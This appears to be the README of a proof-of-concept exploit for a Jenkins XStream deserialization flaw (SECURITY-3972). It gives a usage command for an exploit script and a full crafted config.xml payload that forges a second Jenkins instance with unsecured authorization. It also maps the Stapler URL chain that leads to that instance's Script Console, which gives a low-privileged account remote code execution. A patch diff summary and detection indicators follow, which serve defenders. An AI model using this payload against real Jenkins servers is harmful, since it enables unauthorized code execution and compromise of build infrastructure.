
Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972) — PoC & analysis. Requires Item/Configure; affects weekly <= 2.579 / LTS <= 2.568.2
PoC for the Jenkins deserialization vulnerability fixed on 2026-09-02 (advisory). A low-privileged account holding Item/Configure on any single job can turn that into arbitrary code execution as the Jenkins OS user.
| Affected | Jenkins weekly ≤ 2.579, LTS ≤ 2.568.2 |
| Fixed | weekly 2.580, LTS 2.568.3 |
| Precondition | authenticated, Item/Configure on ≥ 1 job |
| Impact | RCE as the Jenkins service account |
| CVSS | 8.8 (High) |
For authorized security research on vulnerable test instances only.
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id
The script verifies the account has no script permission (expect 403), submits the crafted config.xml, then routes through the injected object graph to a Script Console whose ACL is attacker-controlled.
Two long-standing behaviors of the Jenkins XStream stack (hudson.util.XStream2 / RobustReflectionConverter) combine:
PersistenceRoot subtype was unmarshalled like a plain object. Since XStream instantiates via Unsafe.allocateInstance (no constructor), an attacker could forge a second hudson.model.Hudson singleton with arbitrary field values — including authorizationStrategy.FingerprintAction.build, Run.project, AbstractItem.parent) are transient, so injected objects become reachable over HTTP — the "subsequently handle HTTP requests via Stapler" wording of the advisory.POST /job/<job>/config.xml (only needs Item/Configure) injects into the job's <actions>:
<actions>
<hudson.tasks.Fingerprinter_-FingerprintAction>
<build class="hudson.model.FreeStyleBuild"> <!-- PersistenceRoot nested (defect 1); transient field (defect 2) -->
<project class="hudson.model.FreeStyleProject"> <!-- Run.project: protected final transient -->
<parent class="hudson.model.Hudson"> <!-- AbstractItem.parent: transient; forged 2nd Jenkins -->
<authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
</parent>
<name>...</name>
<properties/> <!-- avoids NPE in Job.getOverrides() -->
</project>
</build>
<record/>
</hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>
Stapler then routes the request into the forged graph:
| URL segment | Resolves to | Code path |
|---|---|---|
/job/<job>/fingerprints | injected FingerprintAction | urlName == "fingerprints" + Actionable.getDynamic() |
/run | forged FreeStyleBuild | FingerprintAction.getRun() reads transient build |
/parent | forged FreeStyleProject | Run.getParent() reads final transient project |
/parent | forged hudson.model.Hudson | AbstractItem.getParent() reads transient parent |
/scriptText | forged instance's Script Console | Jenkins.doScriptText() → _doScript(..., getACL()) |
The authorization bypass: doScriptText checks ADMINISTER against the instance that received the request, i.e. getACL() of the forged Hudson, which is derived from its own authorizationStrategy field — AuthorizationStrategy$Unsecured grants everything. The real controller's authorization strategy never participates. Because no constructor runs during deserialization, field initializers don't apply; the payload must set authorizationStrategy (and properties) explicitly.
Diffing jenkins-2.579 → jenkins-2.580:
RobustReflectionConverter.doUnmarshal now refuses to unmarshal a PersistenceRoot subtype into a nested field (CriticalXStreamException: "PersistenceRoot objects are document roots and must not appear as nested field values"), allowing only three safe shapes: XStream reference= back-references, non-persistent resolves-to replacers (Run$Replacer, User$Replacer, …), and single-value converter scalar references.@XStreamNotDeserializable / @XStreamDeserializable annotations plus TRANSIENT_FIELD_STRICT_MODE tighten transient-field unmarshalling per field.Jenkins.readResolve() now refuses to deserialize a second Jenkins singleton and gained a writeReplace() replacer.test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.POST /job/*/config.xml payloads containing nested Fingerprinter_-FingerprintAction / hudson.model.Hudson, or requests to /job/*/fingerprints/run/parent/parent/scriptText.config.xml files for pollution.